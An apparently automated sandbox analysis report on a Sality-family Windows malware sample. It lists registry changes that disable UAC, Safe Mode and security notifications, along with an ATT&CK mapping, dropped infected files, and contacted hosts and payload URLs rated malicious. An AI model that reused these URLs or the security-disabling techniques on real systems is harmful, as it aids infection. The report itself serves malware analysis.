                Source: C:\Windows\System32\dllhost.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.chk VolumeInformationJump to behavior
                Source: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exeQueries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133646369926237557.txt VolumeInformation
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeQueries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 0_2_029D9652 lstrcpy,CharUpperA,MultiByteToWideChar,RtlEnterCriticalSection,GetLocalTime,GetFileAttributesA,SetFileAttributesA,CreateFileA,GetFileSize,GetFileTime,CreateFileMappingA,MapViewOfFile,lstrcpyn,lstrcmpiA,GlobalAlloc,IsBadHugeWritePtr,IsBadHugeWritePtr,IsBadHugeWritePtr,IsBadHugeWritePtr,IsBadHugeWritePtr,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,GetTickCount,GlobalAlloc,UnmapViewOfFile,FindCloseChangeNotification,SetFilePointer,SetEndOfFile,WriteFile,GlobalFree,SetFileTime,FindCloseChangeNotification,SetFileAttributesA,DeleteFileA,GlobalFree,RtlLeaveCriticalSection,Sleep,0_2_029D9652
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 0_2_029D1792 lstrcpy,GetUserNameA,lstrlen,lstrcat,lstrlen,lstrlen,lstrlen,wsprintfA,RegOpenKeyExA,RegCreateKeyA,wsprintfA,lstrcpy,lstrcpy,RegSetValueExA,lstrlen,RegSetValueExA,RegCloseKey,0_2_029D1792
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 0_2_0048F013 GetVersion,RtlInitializeCriticalSection,0_2_0048F013

                Lowering of HIPS / PFW / Operating System Security Settings

                barindex
                Changes security center settings (notifications, updates, antivirus, firewall)
                Source: C:\Users\user\Desktop\a4#Uff09.exeKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center AntiVirusOverrideJump to behavior
                Deletes keys which are related to windows safe boot (disables safe mode boot)
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key or value deleted: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SafeBoot AlternateShellJump to behavior
                Disables UAC (registry)
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System EnableLUAJump to behavior
                Disables user account control notifications
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security CenterJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
                Modifies the windows firewall
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key created or modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile DisableNotificationsJump to behavior
                Modifies the windows firewall notifications settings
                Source: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfileRegistry value created: DisableNotifications 1Jump to behavior
                Source: plgMeM.exe, 00000002.00000003.1283746578.00000000015E4000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: C:\Program Files\Windows Defender\MsMpEng.exe

                Stealing of Sensitive Information

                barindex
                Yara detected Bdaejec
                Source: Yara matchFile source: Process Memory Space: plgMeM.exe PID: 320, type: MEMORYSTR

                Remote Access Functionality

                barindex
                Yara detected Bdaejec
                Source: Yara matchFile source: Process Memory Space: plgMeM.exe PID: 320, type: MEMORYSTR
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 0_2_029D3911 htons,socket,setsockopt,bind,recvfrom,InterlockedExchange,CreateThread,Sleep,closesocket,RtlExitUserThread,0_2_029D3911

                Mitre Att&ck Matrix

                ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                Gather Victim Identity InformationAcquire Infrastructure12
                Replication Through Removable Media                		3
                Native API                		1
                DLL Side-Loading                		1
                DLL Side-Loading                		6
                Disable or Modify Tools                		1
                Credential API Hooking                		11
                System Time Discovery                		1
                Taint Shared Content                		1
                Archive Collected Data                		4
                Ingress Tool Transfer                		Exfiltration Over Other Network Medium1
                Inhibit System Recovery
                CredentialsDomainsDefault AccountsScheduled Task/Job1
                Windows Service                		1
                Bypass User Account Control                		31
                Obfuscated Files or Information                		LSASS Memory11
                Peripheral Device Discovery                		Remote Desktop Protocol1
                Credential API Hooking                		12
                Encrypted Channel                		Exfiltration Over BluetoothNetwork Denial of Service
                Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)1
                Access Token Manipulation                		121
                Software Packing                		Security Account Manager1
                Account Discovery                		SMB/Windows Admin SharesData from Network Shared Drive11
                Non-Standard Port                		Automated ExfiltrationData Encrypted for Impact
                Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook1
                Windows Service                		1
                DLL Side-Loading                		NTDS5
                File and Directory Discovery                		Distributed Component Object ModelInput Capture3
                Non-Application Layer Protocol                		Traffic DuplicationData Destruction
                Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon Script52
                Process Injection                		1
                Bypass User Account Control                		LSA Secrets23
                System Information Discovery                		SSHKeylogging14
                Application Layer Protocol                		Scheduled TransferData Encrypted for Impact
                Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts11
                Masquerading                		Cached Domain Credentials231
                Security Software Discovery                		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
                DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items31
                Virtualization/Sandbox Evasion                		DCSync31
                Virtualization/Sandbox Evasion                		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job1
                Access Token Manipulation                		Proc Filesystem3
                Process Discovery                		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
                Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt52
                Process Injection                		/etc/passwd and /etc/shadow1
                Application Window Discovery                		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
                IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCronDynamic API ResolutionNetwork Sniffing1
                System Owner/User Discovery                		Shared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement

                Behavior Graph

                Hide Legend

                Legend:

                • Process
                • Signature
                • Created File
                • DNS/IP Info
                • Is Dropped
                • Is Windows Process
                • Number of created Registry Values
                • Number of created Files
                • Visual Basic
                • Delphi
                • Java
                • .Net C# or VB.NET
                • C, C++ or other language
                • Is malicious
                • Internet
                behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1467982 Sample: a4#Uff09.exe Startdate: 05/07/2024 Architecture: WINDOWS Score: 100 40 www.careerdesk.org 2->40 42 g2.arrowhitech.com 2->42 44 7 other IPs or domains 2->44 56 Snort IDS alert for network traffic 2->56 58 Malicious sample detected (through community Yara rule) 2->58 60 Antivirus detection for URL or domain 2->60 62 10 other signatures 2->62 8 a4#Uff09.exe 501 168 2->8         started        signatures3 process4 dnsIp5 46 ahmediye.net 78.46.2.155, 49710, 49717, 49723 HETZNER-ASDE Germany 8->46 48 www.careerdesk.org 54.244.188.177, 49707, 49714, 49720 AMAZON-02US United States 8->48 50 2 other IPs or domains 8->50 26 C:\ahcs.pif, PE32 8->26 dropped 28 C:\Users\user\AppData\Local\Temp\vmgr.exe, PE32 8->28 dropped 30 C:\Users\user\AppData\Local\Temp\plgMeM.exe, PE32 8->30 dropped 32 2 other malicious files 8->32 dropped 64 Creates autorun.inf (USB autostart) 8->64 66 Changes security center settings (notifications, updates, antivirus, firewall) 8->66 68 Contains functionality to inject threads in other processes 8->68 70 11 other signatures 8->70 13 plgMeM.exe 18 8->13         started        18 SearchApp.exe 8->18 injected 20 dllhost.exe 7 8->20         started        22 21 other processes 8->22 file6 signatures7 process8 dnsIp9 52 arthur.niria.biz 44.221.84.105, 49706, 49708, 49709 AMAZON-AESUS United States 13->52 34 C:\Program Files\7-Zip\Uninstall.exe, PE32 13->34 dropped 36 C:\Program Files (x86)\AutoIt3\...\SciTE.exe, PE32 13->36 dropped 38 C:\Program Files (x86)\AutoIt3\...\MyProg.exe, MS-DOS 13->38 dropped 72 Multi AV Scanner detection for dropped file 13->72 74 Detected unpacking (changes PE section rights) 13->74 76 Infects executable files (exe, dll, sys, html) 13->76 24 WerFault.exe 13->24         started        54 104.98.116.138, 443, 49705, 49727 AKAMAI-ASN1EU United States 18->54 78 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 18->78 file10 signatures11 process12

                Screenshots

                Thumbnails

                This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                windows-stand

                Antivirus, Machine Learning and Genetic Malware Detection

                Initial Sample

                SourceDetectionScannerLabelLink
                a4#Uff09.exe100%AviraW32/Sality.AT
                a4#Uff09.exe100%Joe Sandbox ML

                Dropped Files

                SourceDetectionScannerLabelLink
                C:\Program Files\7-Zip\Uninstall.exe100%AviraW32/Jadtre.B
                C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe100%AviraW32/Jadtre.B
                C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe100%AviraW32/Jadtre.B
                C:\Program Files\7-Zip\Uninstall.exe100%Joe Sandbox ML
                C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe100%Joe Sandbox ML
                C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe100%Joe Sandbox ML
                C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe0%ReversingLabs
                C:\Users\user\AppData\Local\Temp\plgMeM.exe100%ReversingLabsWin32.Trojan.Skeeyah

                Unpacked PE Files

                ⊘No Antivirus matches

                Domains

                ⊘No Antivirus matches

                URLs

                SourceDetectionScannerLabelLink
                https://api.msn.com:443/v1/news/Feed/Windows?0%URL Reputationsafe
                http://ampyazilim.com.tr/images/xs2.jpg?8ab49f65=-8902175330%Avira URL Cloudsafe
                http://ahmediye.net/xs.jpg?9c9c7192=5051800840%Avira URL Cloudsafe
                http://schemas.micro0%URL Reputationsafe
                http://ahmediye.net/xs.jpg?873c5f9c=7283828880%Avira URL Cloudsafe
                http://127.0.0.1/R2/server.json0%Avira URL Cloudsafe
                http://ahmediye.net/xs.jpg?1eda9402=8814448840%Avira URL Cloudsafe
                http://www.careerdesk.org/images/xs.jpg100%Avira URL Cloudmalware
                http://ahmediye.net/xs.jpg?1aa9008f=-16112672380%Avira URL Cloudsafe
                https://api.msn.com:443/v1/news/Feed/Windows?t0%Avira URL Cloudsafe
                http://ddos.dnsnb8.net:799/cj//k3.rar100%Avira URL Cloudmalware
                http://amsamex.com/xs.jpg?19388a30=-63609376lication100%Avira URL Cloudmalware
                http://ahmediye.net/xs.jpg?ca9c78=1195049520%Avira URL Cloudsafe
                http://apple-pie.in/images/xs.jpg?35067=651573100%Avira URL Cloudphishing
                http://osoft.co_2010-06X0%Avira URL Cloudsafe
                http://ampyazilim.com.tr/images/xs2.jpg?35a0bf9=5623295300%Avira URL Cloudsafe
                http://ampyazilim.com.tr/images/xs2.jpg?258061e0=1092272960%Avira URL Cloudsafe
                http://ahmediye.net/xs.jpg?b7b2679=11557209180%Avira URL Cloudsafe
                http://ahmediye.net/xs.jpg?91511b59=-6948432030%Avira URL Cloudsafe
                http://ampyazilim.com.tr/images/xs2.jpg?ac94a6eb=-13995440850%Avira URL Cloudsafe
                http://arthur.niria.biz/xs.jpg?a33c7a9=1540490481100%Avira URL Cloudmalware
                http://apple-pie.in/images/xs.jpg?fcf9a73d=-355233109100%Avira URL Cloudphishing
                http://www.careerdesk.org/images/xs.jpg?71f7cbe=478016248100%Avira URL Cloudmalware
                http://apple-pie.in/images/xs.jpg?84b622e8=-2068438296100%Avira URL Cloudphishing
                http://ampyazilim.com.tr/images/xs2.jpg?28f128c=1287924840%Avira URL Cloudsafe
                http://arthur.niria.biz/xs.jpg?fb47c601=-475094010100%Avira URL Cloudmalware
                http://www.careerdesk.org/images/xs.jpg?da83e528=-1365045656100%Avira URL Cloudmalware
                http://arthur.niria.biz/xs.jpg?e8e2ac16=1968179332100%Avira URL Cloudmalware
                http://www.careerdesk.org/images/xs.jpg?9d03c0a4=973570376100%Avira URL Cloudmalware
                http://arthur.niria.biz/xs.jpg?3def25de=761812174100%Avira URL Cloudmalware
                http://www.careerdesk.org/images/xs.jpg?9bcb84a=326725780100%Avira URL Cloudmalware
                https://wns.windows.com/0%Avira URL Cloudsafe
                http://apple-pie.in/images/xs.jpg?2eabe496=1566034220100%Avira URL Cloudphishing
                http://ampyazilim.com.tr/images/xs2.jpg?9010004=9063629040%Avira URL Cloudsafe
                http://ampyazilim.com.tr/images/xs2.jpg?ac5b7b63=-12331008750%Avira URL Cloudsafe
                http://arthur.niria.biz/xs.jpg?4d6da8df=-1696902722100%Avira URL Cloudmalware
                http://apple-pie.in/images/xs.jpg?c0085b83=2190860100%Avira URL Cloudphishing
                https://www.msn.com/de-ch/play/games/fairyland%3a-merge-%26-magic/cg-9nw8m0c50k4w0%Avira URL Cloudsafe
                http://www.autoitscript.com/autoit3/J0%Avira URL Cloudsafe
                http://ddos.dnsnb8.net:799/cj//k3.rarp100%Avira URL Cloudphishing
                http://www.careerdesk.org/images/xs.jpg?10ed67fd=1987958763100%Avira URL Cloudmalware
                http://ampyazilim.com.tr/images/xs2.jpg?2be8bf39=-6115993310%Avira URL Cloudsafe
                http://ddos.dnsnb8.net:799/cj//k3.rars100%Avira URL Cloudmalware
                http://ns.adobe.hoL20%Avira URL Cloudsafe
                https://outlook.live.com/owahttps://outlook.office.com/owaCodexChatButtonUpperRight0%Avira URL Cloudsafe
                http://ampyazilim.com.tr/images/xs2.jpg?bee7d50d=-11655471990%Avira URL Cloudsafe
                http://g2.arrowhitech.com/xs.jpg?4332b898=4292456320%Avira URL Cloudsafe
                http://ahmediye.net/xs.jpg?d32cd494=-7520367160%Avira URL Cloudsafe
                http://ns.adora0%Avira URL Cloudsafe
                http://ahmediye.net/xs.jpg?77e1dd4f=17389055810%Avira URL Cloudsafe
                http://173.193.19.14/logo.gif100%Avira URL Cloudmalware
                http://arthur.niria.biz/xs.jpg?28fcab5b=-1544376980100%Avira URL Cloudmalware
                https://loki.delve.office.com/api33366b5b-54ef-48bf-819d-677748eae9e33B199897-A63E-44DC-BF20-DF6F6F20%Avira URL Cloudsafe
                http://g2.arrowhitech.com/xs.jpg?d5ec3d20=59338432I10%Avira URL Cloudsafe
